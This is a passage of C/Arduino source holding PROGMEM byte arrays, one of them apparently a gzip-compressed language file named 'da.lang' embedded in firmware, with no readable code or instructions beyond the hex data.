0x5d, 0xb5, 0x0b, 0x43, 0x9f, 0x1b, 0x6c, 0xb8, 0x50, 0x26, 0x7a, 0x7a, 0x56, 0x6e, 0x1b, 0xa4, 0xdd, 0x16, 0x29, 0x2f, 0x85, 0x1c, 0xa2, 0x42, 0x93, 0xa6, 0x25, 0xfa, 0x2f, 0x3e, 0x06, 0x85, 0xe4, 0xf9, 0x32, 0xc2, 0x3b, 0xcf, 0x68, 0x57, 0x66, 0x1e, 0xc5, 0x51, 0x93, 0x8f, 0x62, 0x98, 0x76, 0x7d, 0x29, 0x25, 0x92, 0x66, 0x87, 0x82, 0x11, 0x3a, 0xaf, 0x44, 0xe0, 0xdd, 0xdb, 0xcb, 0x7f, 0x21, 0xa3, 0x1f, 0x37, 0x51, 0x9f, 0xcb, 0xc9, 0x4f, 0x12, 0x07, 0x61, 0x9d, 0xac, 0x49, 0x22, 0x7a, 0xe6, 0xc9, 0x51, 0x35, 0x69, 0xc2, 0xd6, 0xf1, 0x16, 0xe9, 0xa7, 0xc5, 0x55, 0x98, 0x07, 0x02, 0xde, 0x1f, 0xc9, 0xdb, 0x36, 0xb5, 0x78, 0x35, 0xc8, 0xd1, 0x4b, 0xf2, 0x2a, 0xec, 0xc0, 0x33, 0x9e, 0xa3, 0x2f, 0x2f, 0xd5, 0x45, 0x8c, 0x7f, 0x5c, 0x57, 0x56, 0xe9, 0xfd, 0xdd, 0xeb, 0xd6, 0x6f, 0xb7, 0xdd, 0xde, 0x3b, 0xeb, 0xf3, 0xb3, 0x47, 0x8f, 0xd6, 0x59, 0x85, 0x3e, 0x61, 0x27, 0x82, 0x4c, 0x6b, 0xc6, 0x07, 0x72, 0x2a, 0x1d, 0x5f, 0x64, 0xfd, 0x33, 0x00, 0xa0, 0x40, 0xb0, 0x7e, 0x3e, 0x3e, 0x3d, 0x31, 0x77, 0x9f, 0xfe, 0xe5, 0xcf, 0x7b, 0x29, 0x50, 0xdb, 0x57, 0xc5, 0x15, 0x5f, 0xfb, 0xce, 0xbe, 0x5a, 0x29, 0x0f, 0x19, 0x03, 0x51, 0xe7, 0x0a, 0xac, 0x68, 0x6b, 0xf3, 0x27, 0x73, 0xff, 0xfe, 0xa1, 0x39, 0x7d, 0xce, 0x2f, 0x5f, 0x1c, 0x9a, 0xbf, 0x5a, 0x36, 0xf2, 0x96, 0xff, 0xfd, 0x61, 0x5f, 0x60, 0x71, 0x7c, 0xae, 0x23, 0x96, 0x48, 0x2a, 0xf9, 0xdd, 0xf1, 0x43, 0x1d, 0x23, 0xfb, 0x59, 0xbf, 0xa7, 0x1c, 0x59, 0x32, 0x76, 0xe2, 0x14, 0x2f, 0x9a, 0xa7, 0x2c, 0x53, 0x8d, 0x76, 0x4c, 0xcc, 0xbb, 0x49, 0xc2, 0x4e, 0xca, 0x71, 0x15, 0x8a, 0xc1, 0xa7, 0x82, 0x31, 0x7b, 0x28, 0xce, 0x9d, 0x46, 0x1d, 0x2a, 0x3c, 0xc3, 0xd2, 0x84, 0x07, 0x73, 0x20, 0xf8, 0x40, 0xe7, 0x75, 0xff, 0xeb, 0x74, 0x4e, 0x03, 0xa7, 0xdf, 0x58, 0xd9, 0x24, 0xf5, 0x13, 0x2a, 0x16, 0x57, 0x8b, 0x21, 0xd8, 0xf2, 0x8a, 0xac, 0xce, 0x4d, 0xf4, 0xf6, 0x96, 0xb3, 0x70, 0x94, 0x05, 0xb0, 0x39, 0x64, 0xd4, 0x10, 0xeb, 0xf7, 0x6f, 0x10, 0x44, 0xdc, 0xbd, 0x87, 0x27, 0xe6, 0xae, 0x6a, 0x79, 0x5b, 0xe1, 0x41, 0xb1, 0x45, 0x7d, 0x4f, 0x23, 0x65, 0xca, 0x67, 0xe2, 0xee, 0xc7, 0x90, 0x6f, 0x4e, 0xa4, 0x43, 0xe9, 0xa6, 0x79, 0x16, 0x8c, 0xc2, 0xb2, 0xaf, 0xb5, 0x14, 0xf1, 0xb7, 0x83, 0x0f, 0x9a, 0x0e, 0x28, 0x95, 0x07, 0x79, 0x23, 0x39, 0xd2, 0xa9, 0x93, 0x4d, 0x6e, 0x91, 0xa1, 0x55, 0x54, 0x72, 0x30, 0xde, 0xaa, 0x95, 0x5f, 0x55, 0xf6, 0xdc, 0xa3, 0xa3, 0x8b, 0x7e, 0x42, 0xb2, 0x13, 0x85, 0xad, 0x04, 0xad, 0x77, 0x67, 0x88, 0xf6, 0xf9, 0x38, 0x34, 0xe0, 0xef, 0x19, 0x1c, 0x7c, 0xf9, 0x0c, 0xb5, 0xb8, 0xd5, 0xf5, 0x02, 0x85, 0x46, 0xc5, 0x66, 0xf0, 0xb1, 0x3c, 0x78, 0x1b, 0x22, 0x08, 0x3f, 0x89, 0x9c, 0xce, 0xed, 0xd0, 0x47, 0x28, 0x25, 0x2c, 0x5c, 0x94, 0x2e, 0x3e, 0x5f, 0x83, 0x30, 0x65, 0x4e, 0x31, 0x94, 0x1d, 0x4f, 0x47, 0xa5, 0xa1, 0x3c, 0x59, 0x9a, 0xad, 0x82, 0xa0, 0x0c, 0x5b, 0x0f, 0x7e, 0xd1, 0x0b, 0x29, 0x83, 0xfe, 0x6c, 0xc1, 0x72, 0x1f, 0x36, 0x63, 0xd0, 0x05, 0xa3, 0x53, 0xfa, 0x71, 0x5c, 0x91, 0x87, 0xdf, 0x99, 0x0f, 0x1c, 0x05, 0xf3, 0x3a, 0xf0, 0x3f, 0x04, 0x62, 0xcb, 0xad, 0x64, 0x64, 0xca, 0x04, 0x2f, 0xa3, 0x7f, 0x29, 0xa8, 0x3e, 0x1d, 0x9e, 0x28, 0x5a, 0x1a, 0x24, 0xf1, 0xe2, 0x5b, 0xfe, 0x0c, 0xc0, 0x7b, 0x84, 0xd8, 0x4a, 0x7a, 0x3e, 0xab, 0xd3, 0x74, 0xd0, 0x22, 0x21, 0x0b, 0xfc, 0xa9, 0x46, 0x55, 0xc6, 0x85, 0xd9, 0x57, 0xf2, 0x4b, 0x80, 0x44, 0xcf, 0x83, 0x2f, 0xbf, 0x5c, 0x22, 0xac, 0x36, 0xb0, 0xa0, 0xae, 0x51, 0x47, 0x9c, 0x93, 0xa7, 0x3e, 0x12, 0x1b, 0xd2, 0x77, 0x3a, 0x71, 0x7a, 0x17, 0x0a, 0x52, 0xcc, 0x25, 0x79, 0xdf, 0xc3, 0xe5, 0xd4, 0xc6, 0xad, 0x6e, 0x39, 0xf4, 0x29, 0xec, 0x53, 0xb2, 0xfa, 0x50, 0x22, 0xa8, 0x0e, 0xe4, 0x0c, 0xf2, 0x96, 0xe8, 0xaa, 0x12, 0xc9, 0x7f, 0xb5, 0x3d, 0xd6, 0xc6, 0x80, 0xaf, 0x4e, 0x51, 0xe9, 0x9b, 0x92, 0x10, 0x3a, 0x95, 0xfb, 0xfc, 0x9b, 0x4a, 0xaf, 0x63, 0x13, 0x79, 0xa7, 0x58, 0xf4, 0xe3, 0x3a, 0xf0, 0x64, 0x1c, 0x5c, 0xf9, 0x0f, 0xe8, 0xac, 0x76, 0x67, 0x33, 0x2a, 0x76, 0x72, 0x4b, 0xe6, 0x1d, 0xea, 0xf8, 0x53, 0xe3, 0x46, 0xd1, 0x3f, 0x6b, 0x78, 0x4b, 0xf3, 0x89, 0x9b, 0x6a, 0x8a, 0x3c, 0x2d, 0x1c, 0xbb, 0xd4, 0x34, 0x8b, 0x9b, 0xb5, 0x61, 0xb7, 0x29, 0x72, 0x36, 0x1b, 0x56, 0xcf, 0x34, 0x61, 0x44, 0xf4, 0xb0, 0x09, 0x08, 0xd2, 0x1f, 0xea, 0xfb, 0xc8, 0x18, 0xf0, 0x1c, 0x18, 0x96, 0xef, 0x81, 0x79, 0x95, 0x2f, 0x41, 0xf3, 0x0b, 0x47, 0x98, 0x0f, 0x84, 0x54, 0xec, 0x2a, 0xab, 0x0e, 0x55, 0x3e, 0x0f, 0x37, 0x70, 0x13, 0x69, 0x26, 0x0c, 0x66, 0x7d, 0xef, 0x5e, 0x4d, 0xf8, 0x7f, 0x3e, 0x9b, 0x7d, 0x48, 0xd0, 0x81, 0xf0, 0xf2, 0x84, 0xce, 0xd9, 0x9a, 0x71, 0x9c, 0x5b, 0x72, 0x9d, 0x0f, 0x08, 0x5b, 0xa5, 0x57, 0x18, 0x2b, 0x32, 0x67, 0xd0, 0xc6, 0xa7, 0x6b, 0x6d, 0x3d, 0x9b, 0xe1, 0x1d, 0x22, 0x8b, 0xa2, 0x19, 0xe7, 0x98, 0x25, 0x07, 0x6d, 0x59, 0xd0, 0x72, 0x44, 0x2e, 0xfd, 0x9f, 0xfc, 0x38, 0x74, 0xf9, 0xfe, 0x4d, 0x87, 0x36, 0xd2, 0xc8, 0xc8, 0x78, 0xe9, 0x5a, 0x22, 0x96, 0xf8, 0x76, 0xe9, 0x48, 0x9d, 0x06, 0x3d, 0xfb, 0xfb, 0xbc, 0x00, 0xf3, 0x40, 0xa6, 0x06, 0xf9, 0x1d, 0x9e, 0x77, 0x70, 0x18, 0x22, 0x45, 0x77, 0x2e, 0xc7, 0xcb, 0x1f, 0x99, 0xd1, 0xe4, 0x46, 0x3d, 0xf1, 0x4a, 0x1d, 0x6c, 0x2e, 0x1b, 0x0e, 0xb6, 0xbc, 0x1d, 0x0e, 0x24, 0x41, 0xbd, 0x25, 0xa9, 0x52, 0x4b, 0x99, 0x7e, 0x2b, 0xd1, 0x21, 0xe9, 0xa7, 0xf2, 0x48, 0xfa, 0xc8, 0x25, 0xa9, 0x48, 0xbf, 0x93, 0x3f, 0x16, 0x58, 0x9e, 0xf5, 0x09, 0x93, 0xf6, 0x1f, 0x4c, 0x20, 0x8e, 0x75, 0x9e, 0x49, 0x18, 0xdd, 0xa5, 0x9f, 0x11, 0x13, 0x6f, 0x51, 0x04, 0xaf, 0xf4, 0x87, 0x05, 0xa4, 0x0a, 0x91, 0xe7, 0xce, 0xc1, 0x67, 0xff, 0xfe, 0xec, 0x7f, 0xe1, 0x29, 0x72, 0xe6, 0x94, 0x1f, 0x00, 0x00};\nconst char dalang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x64, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0xdd, 0x6e, 0xdc, 0x36, 0x16, 0xbe, 0xde, 0x3e, 0x05, 0xed, 0xab, 0x04, 0xb0, 0xbd, 0xb6, 0xbb, 0x2d, 0xba, 0x05, 0xf6, 0xc2, 0x59, 0xdb, 0xad, 0x93, 0x34, 0x35, 0x32, 0x69, 0xba, 0x17, 0x01, 0x0c, 0xce, 0x88, 0xd2, 0xd0, 0xa2, 0xa4, 0x01, 0x49, 0xc9, 0x35, 0x16, 0xfb, 0x38, 0x09, 0xd0, 0x37, 0xc8, 0xfd, 0xbc, 0xd8, 0x7e, 0xe7, 0x1c, 0x52, 0x23, 0x4d, 0x7e, 0x2e, 0x16, 0x5b, 0xa0, 0xb0, 0x4d, 0x91, 0xe7, 0xff, 0x7c, 0xe7, 0x23, 0xf3, 0xef, 0x6f, 0x14, 0xfe, 0x3b, 0x74, 0xba, 0xad, 0x0e, 0x7f, 0x54, 0x87, 0x85, 0x3e, 0x3c, 0x92, 0x95, 0x07, 0xed, 0x5b, 0x2b, 0x8b, 0x17, 0x97, 0x6f, 0x2f, 0x5e, 0x2f, 0xae, 0x5e, 0xe6, 0x4f, 0x85, 0x0d, 0x2b, 0xa7, 0x6d, 0x63, 0x3c, 0x7d, 0xbd, 0x34, 0x31, 0x1a, 0xb5, 0xf1, 0xdd, 0xbd, 0xa9, 0xa3, 0x32, 0x5e, 0x99, 0xa8, 0x96, 0x66, 0xb0, 0x41, 0x95, 0x9d, 0x57, 0x75, 0xd7, 0xae, 0xcc, 0x26, 0xaa, 0xae, 0xa2, 0x4f, 0xd1, 0x3a, 0x15, 0x4d, 0x88, 0x24, 0x99, 0x96, 0xfa, 0xa2, 0xd0, 0x6d, 0x61, 0x5c, 0x30, 0x41, 0x2d, 0x7d, 0x5f, 0x9d, 0xbc, 0x6b, 0x7f, 0x1e, 0x8c, 0xaf, 0x4d, 0xab, 0xae, 0x16, 0xb7, 0x3f, 0x9c, 0x9f, 0x7f, 0xff, 0xfd, 0x91, 0x32, 0xce, 0xe1, 0x68, 0x61, 0xda, 0xa0, 0x16, 0x97, 0x2f, 0x48, 0x4c, 0x63, 0xda, 0x98, 0x96, 0x97, 0x8f, 0x55, 0x05, 0x85, 0xa4, 0xaa, 0x60, 0x43, 0xf0, 0x5b, 0xb3, 0x7d, 0xef, 0x4e, 0xd4, 0xb5, 0xb9, 0x77, 0xaa, 0xd6, 0xad, 0xea, 0x36, 0x21, 0x6e, 0xdf, 0x1f, 0xbc, 0x6b, 0xdf, 0xb5, 0xcf, 0xa0, 0x83, 0xf6, 0xa9, 0xba, 0x6f, 0x55, 0xd3, 0x15, 0xca, 0x54, 0xad, 0x51, 0xd1, 0x6f, 0xdf, 0x17, 0x6e, 0xfb, 0x31, 0x18, 0xd5, 0x9a, 0x38, 0x6c, 0x3f, 0xf8, 0x9a, 0xed, 0x6d, 0xd7, 0xa6, 0x30, 0x9e, 0x0f, 0x5e, 0xc2, 0x22, 0xdd, 0x0e, 0x06, 0xc6, 0x7a, 0x55, 0x75, 0x05, 0x2c, 0x2c, 0xa0, 0xec, 0x77, 0x7b, 0x6d, 0xd5, 0x46, 0xd7, 0x35, 0x56, 0x43, 0xd7, 0xc0, 0xef, 0x50, 0x7b, 0x33, 0x40, 0x81, 0x55, 0x37, 0x57, 0x57, 0x57, 0xea, 0x87, 0xd3, 0xf3, 0x93, 0xb3, 0x33, 0x15, 0x22, 0xdc, 0xd4, 0xbe, 0x20, 0xb1, 0x70, 0x44, 0x2d, 0x5d, 0x87, 0x23, 0x46, 0x59, 0x9c, 0x4c, 0x8e, 0xc0, 0xee, 0x10, 0x1f, 0xb1, 0x56, 0x7a, 0x53, 0x43, 0x51, 0x30, 0x1e, 0xd1, 0xb8, 0x70, 0xd1, 0x16, 0xaa, 0xdc, 0x7e, 0x74, 0x38, 0x68, 0xa3, 0x42, 0x9e, 0x8a, 0xa0, 0xbc, 0xa9, 0x7a, 0xa7, 0xa3, 0xed, 0x5a, 0x1c, 0x84, 0x48, 0xd7, 0x0d, 0xaa, 0xf6, 0x7a, 0xa0, 0x8d, 0x1c, 0x29, 0x15, 0x75, 0x85, 0x90, 0xda, 0x1c, 0xd4, 0x77, 0xed, 0x5b, 0x78, 0xa5, 0x20, 0xd6, 0xd9, 0x4a, 0xb4, 0xea, 0x08, 0x31, 0x25, 0x8c, 0x80, 0x4a, 0x4a, 0x4b, 0x31, 0x4b, 0x23, 0x39, 0x03, 0x31, 0xef, 0x0e, 0x9f, 0xeb, 0x06, 0x79, 0x7e, 0x77, 0x78, 0xc4, 0x61, 0xeb, 0xc9, 0xff, 0xc6, 0xb6, 0x74, 0x28, 0x6d, 0xc5, 0xea, 0x60, 0x91, 0x31, 0x08, 0x36, 0x6a, 0x0d, 0xbb, 0x6d, 0x15, 0x0f, 0x28, 0x8d, 0x28, 0x80, 0xa2, 0x57, 0xda, 0xd1, 0x87, 0xc1, 0x38, 0x55, 0x91, 0x6d, 0x61, 0xfb, 0x5e, 0x8a, 0x83, 0x33, 0x1a, 0x29, 0x10, 0x91, 0x4c, 0xc1, 0x4e, 0xb6, 0x6a, 0xad, 0x53, 0x24, 0xb6, 0xef, 0xf1, 0x75, 0x3d, 0xe8, 0x62, 0xcf, 0xb0, 0xac, 0x4b, 0x75, 0xcd, 0x1a, 0xb1, 0x70, 0x1c, 0xa5, 0xdf, 0x8a, 0xca, 0x0e, 0x54, 0x45, 0x4a, 0x97, 0xca, 0xb6, 0xc5, 0xba, 0x73, 0x08, 0x75, 0x53, 0x7b, 0x2a, 0x33, 0x39, 0xdf, 0x53, 0x54, 0xe8, 0x7f, 0x9f, 0xab, 0x84, 0x75, 0xd0, 0x19, 0x04, 0x10, 0x7f, 0xd6, 0x4e, 0xf3, 0x76, 0xb1, 0x4d, 0x4c, 0xa2, 0x2a, 0xa9, 0x24, 0xa4, 0xe9, 0x90, 0xaa, 0x9d, 0xad, 0xc3, 0x11, 0x7c, 0xf0, 0xdb, 0x8f, 0x4d, 0x44, 0x81, 0xa4, 0xf4, 0x6d, 0x4c, 0x5b, 0xb1, 0xa8, 0xd1, 0x0d, 0x6f, 0xc2, 0x86, 0x2c, 0xa6, 0x53, 0xb6, 0x8d, 0xb4, 0xad, 0x8e, 0x3d, 0x02, 0x61, 0xee, 0x51, 0x3c, 0x5d, 0x73, 0x84, 0x2f, 0xae, 0xa6, 0x18, 0x68, 0xa9, 0xc9, 0xa0, 0x1b, 0x14, 0xa6, 0x6e, 0x20, 0x8a, 0x0f, 0x51, 0x9d, 0x98, 0xc2, 0xa7, 0x2a, 0xcb, 0x25, 0xc4, 0xd9, 0xbc, 0xee, 0xa8, 0x09, 0xa8, 0x80, 0x5a, 0xaa, 0x77, 0x2e, 0x05, 0x2a, 0xbe, 0xed, 0xc7, 0xea, 0x47, 0x74, 0xe9, 0x5f, 0x26, 0x2d, 0x7a, 0xbc, 0xec, 0x63, 0xec, 0x5a, 0xea, 0xd4, 0xe7, 0xa6, 0x62, 0xcb, 0xdc, 0xf6, 0x43, 0x88, 0xc9, 0xed, 0x14, 0xe9, 0x0e, 0x5d, 0xc7, 0xbf, 0x22, 0xc1, 0x2c, 0xc0, 0x1b, 0xd7, 0xe9, 0x82, 0x4e, 0xfd, 0x64, 0xd0, 0xad, 0x05, 0x9d, 0xe1, 0x0f, 0x61, 0xa5, 0x59, 0xd8, 0x02, 0x3f, 0x19, 0x20, 0x78, 0x31, 0xd8, 0x22, 0xf0, 0xea, 0xe2, 0xe6, 0x12, 0xb0, 0x40, 0x6b, 0x3a, 0x46, 0xbd, 0xaa, 0x79, 0xf5, 0xa2, 0xad, 0xbc, 0x59, 0xca, 0x4e, 0x44, 0x12, 0xa7, 0x78, 0xf9, 0x06, 0xb5, 0x8c, 0xd2, 0x73, 0xf8, 0x3b, 0x9d, 0x21, 0x77, 0xe4, 0x0b, 0x7e, 0xe6, 0x85, 0xbb, 0xb0, 0x11, 0x95, 0x37, 0xaf, 0xae, 0x7f, 0xc5, 0x0f, 0x16, 0xee, 0x1c, 0x0b, 0x46, 0x50, 0xf9, 0xef, 0x15, 0x8a, 0xa1, 0x35, 0xbc, 0xf6, 0x42, 0xb7, 0xda, 0x49, 0x10, 0x50, 0x68, 0x2b, 0x13, 0xc4, 0x89, 0x06, 0x09, 0x4c, 0x1d, 0x9d, 0x0c, 0x71, 0x66, 0x15, 0xef, 0x92, 0x20, 0xb4, 0x07, 0x3a, 0x4c, 0x67, 0x71, 0x85, 0x99, 0x7f, 0xbe, 0x28, 0x87, 0xf9, 0x06, 0x6f, 0x1a, 0x84, 0x2c, 0x7f, 0xbe, 0xbe, 0x37, 0xbe, 0xdd, 0x7d, 0x44, 0xaa, 0x28, 0x21, 0x77, 0x14, 0xaa, 0xbb, 0x88, 0x24, 0x70, 0x64, 0x64, 0x51, 0x85, 0x14, 0x37, 0x34, 0x5d, 0xc1, 0xbb, 0x5b, 0xf3, 0x40, 0xdf, 0x5f, 0x3d, 0xca, 0x59, 0x3d, 0x98, 0x64, 0xb0, 0x38, 0x5a, 0x70, 0x12, 0xde, 0x58, 0x87, 0xde, 0xbe, 0xcf, 0x4b, 0x77, 0x62, 0x9e, 0xe1, 0x6f, 0x2f, 0x1c, 0xc4, 0x0e, 0xda, 0x55, 0xf0, 0xf0, 0xe2, 0x36, 0xb9, 0x47, 0x09, 0x7d, 0xf0, 0x36, 0xb2, 0xb0, 0x5f, 0x29, 0xbb, 0xe8, 0x86, 0x81, 0x3f, 0x91, 0x45, 0x77, 0x54, 0x91, 0x1e, 0x87, 0x44, 0x38, 0x30, 0x65, 0x5c, 0x60, 0x9b, 0xfa, 0x66, 0x29, 0xe8, 0xfe, 0xaa, 0xa7, 0xfe, 0x97, 0x73, 0xda, 0x03, 0x6a, 0x39, 0x9c, 0xbf, 0x00, 0x61, 0xf3, 0x34, 0x60, 0x2f, 0x73, 0xe2, 0x8e, 0xd5, 0x0b, 0x34, 0x88, 0xca, 0xc5, 0x41, 0x45, 0x36, 0x10, 0x58, 0x6f, 0xd0, 0xf7, 0xd2, 0xef, 0xf8, 0xe5, 0xe5, 0xd5, 0x25, 0x2f, 0xd4, 0x9d, 0x27, 0xf8, 0x08, 0xae, 0x67, 0x00, 0x7d, 0x22, 0x9d, 0x14, 0x6a, 0x5b, 0xc6, 0x34, 0x2b, 0x2a, 0x74, 0x59, 0xfb, 0x94, 0xb0, 0x07, 0x58, 0x45, 0x8b, 0xd4, 0x7e, 0x7c, 0x76, 0x57, 0x95, 0x68, 0x88, 0x63, 0xf5, 0xbb, 0x59, 0x2a, 0xd4, 0x20, 0x5a, 0x66, 0xc0, 0x31, 0x82, 0x70, 0xb4, 0x3c, 0x81, 0x1f, 0x63, 0x45, 0x43, 0xb3, 0x83, 0x90, 0x9b, 0x83, 0x6f, 0x64, 0x32, 0xa5, 0x2c, 0x09, 0x82, 0xa2, 0xd9, 0x97, 0x0e, 0x18, 0xe2, 0x55, 0xbb, 0xfd, 0x58, 0xb0, 0x6e, 0xcd, 0xad, 0xbb, 0x84, 0x16, 0xb4, 0x59, 0x65, 0xda, 0x03, 0xd2, 0x23, 0x75, 0x22, 0x38, 0x1a, 0x03, 0x03, 0xc4, 0xf6, 0xcf, 0xa8, 0x68, 0xe2, 0xe0, 0xfb, 0xae, 0x17, 0x26, 0x01, 0xa1, 0x96, 0x50, 0xce, 0x86, 0x48, 0xfd, 0x4c, 0x16, 0x05, 0x16, 0xbf, 0x34, 0x7a, 0x85, 0xbc, 0x41, 0x37, 0xa0, 0x6d, 0x09, 0xe4, 0xe2, 0x1e, 0x61, 0x67, 0x68, 0x04, 0x46, 0x39, 0x47, 0xf3, 0x4b, 0xbc, 0xe9, 0x36, 0x7c, 0xec, 0xdb, 0x73, 0xac, 0x79, 0x0d, 0xdc, 0xf5, 0xb2, 0xb7, 0x0f, 0x35, 0x99, 0x4a, 0x81, 0x01, 0xf0, 0xa0, 0x6c, 0xe0, 0xc1, 0x7b, 0x4f, 0x0e, 0x09, 0x08, 0x45, 0x0a, 0xb1, 0x11, 0x71, 0x7c, 0xe2, 0xb2, 0x47, 0x88, 0xb5, 0xcb, 0x27, 0xaa, 0x31, 0x90, 0x4a, 0x42, 0x0c, 0x61, 0x6b, 0x3d, 0xc0, 0xe9, 0x1a, 0x75, 0x35, 0x3b, 0x3b, 0x69, 0xeb, 0x89, 0x7f, 0x90, 0x47, 0x56, 0x36, 0xf0, 0x10, 0x12, 0x52, 0xc4, 0x80, 0xab, 0xed, 0x68, 0x08, 0x22, 0xed, 0xa3, 0x10, 0x03, 0xf1, 0xf2, 0x60, 0x6a, 0x07, 0x77, 0x96, 0xa1, 0x8f, 0x14, 0xc5, 0x34, 0xc9, 0x75, 0x1f, 0xd7, 0xc7, 0x93, 0x90, 0xe4, 0xcd, 0x1c, 0x40, 0xda, 0x5b, 0xa1, 0xa1, 0x25, 0x44, 0xad, 0x1e, 0x04, 0x2f, 0xbf, 0x12, 0x51, 0x2e, 0xca, 0x89, 0xa7, 0xb4, 0x1d, 0x7e, 0x76, 0x9b, 0xd2, 0xdb, 0x80, 0x20, 0xf0, 0x08, 0x87, 0xdb, 0x80, 0xa3, 0x8a, 0x20, 0xa2, 0xcd, 0xde, 0x66, 0xb8, 0x9a, 0xf8, 0xfb, 0xaa, 0xab, 0x1c, 0x01, 0xef, 0x04, 0xbb, 0x30, 0x7c, 0xb7, 0x1f, 0xa8, 0x78, 0xa0, 0x82, 0x9d, 0x9d, 0x2a, 0x6d, 0xb2, 0xb6, 0x60, 0x6b, 0xbf, 0x77, 0x10, 0xe4, 0x23, 0x95, 0x1d, 0x32, 0x4a, 0x3f, 0x4d, 0xcc, 0x9a, 0x19, 0xf9, 0xe6, 0x4c, 0xeb, 0x86, 0x2a, 0xa0, 0x44, 0xb8, 0x0a, 0x1e, 0x74, 0x88, 0x70, 0x4f, 0xcd, 0x45, 0xf4, 0x07, 0x5c, 0xe7, 0x68, 0xea, 0xa0, 0xf4, 0x02, 0x42, 0x51, 0xa7, 0x7e, 0xc1, 0x50, 0xb3, 0x88, 0x5f, 0xd3, 0xb5, 0x36, 0x76, 0x3c, 0x63, 0xf9, 0x90, 0xa2, 0x91, 0x41, 0x9d, 0x7a, 0x92, 0x91, 0xcb, 0xc7, 0xbb, 0x10, 0xbb, 0x0d, 0x43, 0xd6, 0x9b, 0x8b, 0xd7, 0x6f, 0xd4, 0x5f, 0xd5, 0xe2, 0xcd, 0xaf, 0xb7, 0xbb, 0xcf, 0xe3, 0x97, 0xb4, 0x94, 0xf7, 0xa6, 0x3d, 0x0f, 0xb6, 0xb4, 0x77, 0x5d, 0x59, 0xd2, 0x22, 0x0f, 0xae, 0x05, 0xda, 0x3b, 0x61, 0xe6, 0xb2, 0xeb, 0x62, 0x1a, 0x29, 0x22, 0x4a, 0x96, 0x11, 0x64, 0x81, 0x1a, 0x47, 0x91, 0xe1, 0x45, 0xd3, 0xea, 0xa5, 0x33, 0x77, 0x5e, 0xd3, 0xa4, 0x64, 0x04, 0x96, 0xf8, 0x8c, 0x11, 0xa0, 0xae, 0xee, 0xd2, 0xac, 0x42, 0x94, 0xf6, 0x76, 0x5f, 0x1a, 0xfd, 0x95, 0xfd, 0xb2, 0xef, 0x0e, 0x20, 0xbf, 0xfa, 0x8a, 0xe8, 0x9c, 0x36, 0x44, 0x55, 0x58, 0x12, 0xd1, 0xaa, 0x71, 0x4b, 0x9c, 0xf4, 0x35, 0x78, 0x56, 0x21, 0xb5, 0x6d, 0x99, 0xfa, 0x25, 0x24, 0x3d, 0x49, 0xa3, 0x84, 0x6a, 0x79, 0x54, 0xf6, 0x52, 0xb0, 0xae, 0x94, 0x1c, 0xec, 0x7a, 0x85, 0x7a, 0x9b, 0x16, 0xc0, 0xb0, 0xda, 0x34, 0xf1, 0xd3, 0xb4, 0x02, 0xda, 0x14, 0x5c, 0x3e, 0x34, 0x9b, 0x53, 0x6b, 0x20, 0xeb, 0x76, 0x25, 0xf3, 0x24, 0xb1, 0x4f, 0x3a, 0x4f, 0x36, 0xac, 0x30, 0xf0, 0xc2, 0xf1, 0xa6, 0x83, 0x11, 0x0c, 0xbe, 0x32, 0x16, 0xd0, 0xeb, 0x54, 0x28, 0x04, 0x19, 0x42, 0xd7, 0xa9, 0x66, 0x89, 0x02, 0xf7, 0x04, 0x8f, 0x85, 0x26, 0xdf, 0x42, 0xe4, 0xce, 0x73, 0xa3, 0x5e, 0x86, 0x87, 0xa5, 0x69, 0x1f, 0x23, 0x35, 0xaf, 0x30, 0xd9, 0x87, 0xe3, 0xf3, 0xd3, 0xd3, 0xbf, 0x8f, 0x64, 0x84, 0x8e, 0x81, 0x29, 0x42, 0xf9, 0xf2, 0x91, 0x8e, 0x10, 0xff, 0xa5, 0xed, 0x44, 0xab, 0x88, 0x5e, 0x0b, 0x6f, 0x9a, 0x34, 0xa2, 0xe0, 0x27, 0xa9, 0x4e, 0xfd, 0x7e, 0xa0, 0x5e, 0x25, 0x94, 0x10, 0x1c, 0xf0, 0x23, 0x0a, 0xc0, 0x14, 0x99, 0x1b, 0xc4, 0x52, 0xc0, 0xf9, 0x98, 0x60, 0xd6, 0x34, 0xdc, 0x05, 0xb2, 0x33, 0xaa, 0x88, 0x74, 0x9a, 0x23, 0xd8, 0x3b, 0x30, 0x93, 0x6d, 0xd5, 0xba, 0xdb, 0x6c, 0x60, 0x02, 0x4d, 0x94, 0x26, 0x1f, 0x6a, 0x8d, 0xd0, 0xef, 0xc8, 0xbb, 0xd8, 0x3b, 0x81, 0x56, 0x8e, 0x02, 0xd3, 0xd0, 0x52, 0xd4, 0xe5, 0xb4, 0x70, 0x54, 0x1f, 0xc6, 0xd1, 0x42, 0x53, 0x20, 0xb7, 0xa7, 0x80, 0xcd, 0x98, 0xd6, 0x67, 0x82, 0x3d, 0x29, 0x19, 0x14, 0x09, 0x00, 0x55, 0xcc, 0x73, 0x04, 0x43, 0x87, 0xae, 0x41, 0x50, 0x35, 0xcd, 0x4f, 0x38, 0x51, 0x6f, 0xa7, 0xa9, 0x5d, 0xce, 0x64, 0xf4, 0x05, 0xdd, 0x9d, 0x00, 0x3e, 0xbd, 0xf1, 0x6c, 0x1e, 0x81, 0x2c, 0xc2, 0x54, 0xa6, 0x49, 0x9a, 0x44, 0x07, 0xa2, 0xb6, 0x42, 0xe0, 0x05, 0xf1, 0xbb, 0x4d, 0xc2, 0x7c, 0xae, 0xa1, 0x7c, 0x9f, 0xa1, 0xc4, 0x0b, 0x4e, 0x4b, 0x95, 0x52, 0xf8, 0x19, 0x38, 0x99, 0xd1, 0xab, 0x09, 0x6d, 0x63, 0xec, 0x1c, 0xfd, 0xba, 0xf5, 0xdd, 0x46, 0xd8, 0xf2, 0x06, 0x3c, 0xb8, 0xa2, 0xa0, 0xb0, 0x7b, 0x64, 0x71, 0x24, 0x10, 0x4a, 0x95, 0x85, 0xf9, 0x9a, 0xcb, 0x26, 0xb5, 0xcd, 0xee, 0x4c, 0x9a, 0x2b, 0xe9, 0xca, 0x34, 0xde, 0xb0, 0x60, 0x1c, 0x7e, 0x66, 0xb4, 0xcd, 0x37, 0xb3, 0xb1, 0x5c, 0x26, 0x72, 0xc0, 0xf9, 0x33, 0x09, 0x06, 0x5a, 0x51, 0x18, 0x53, 0x4b, 0x7c, 0xa2, 0x63, 0x14, 0x3e, 0xf6, 0xe2, 0x74, 0xfc, 0x8e, 0xd5, 0x9f, 0x34, 0x8c, 0x65, 0x40, 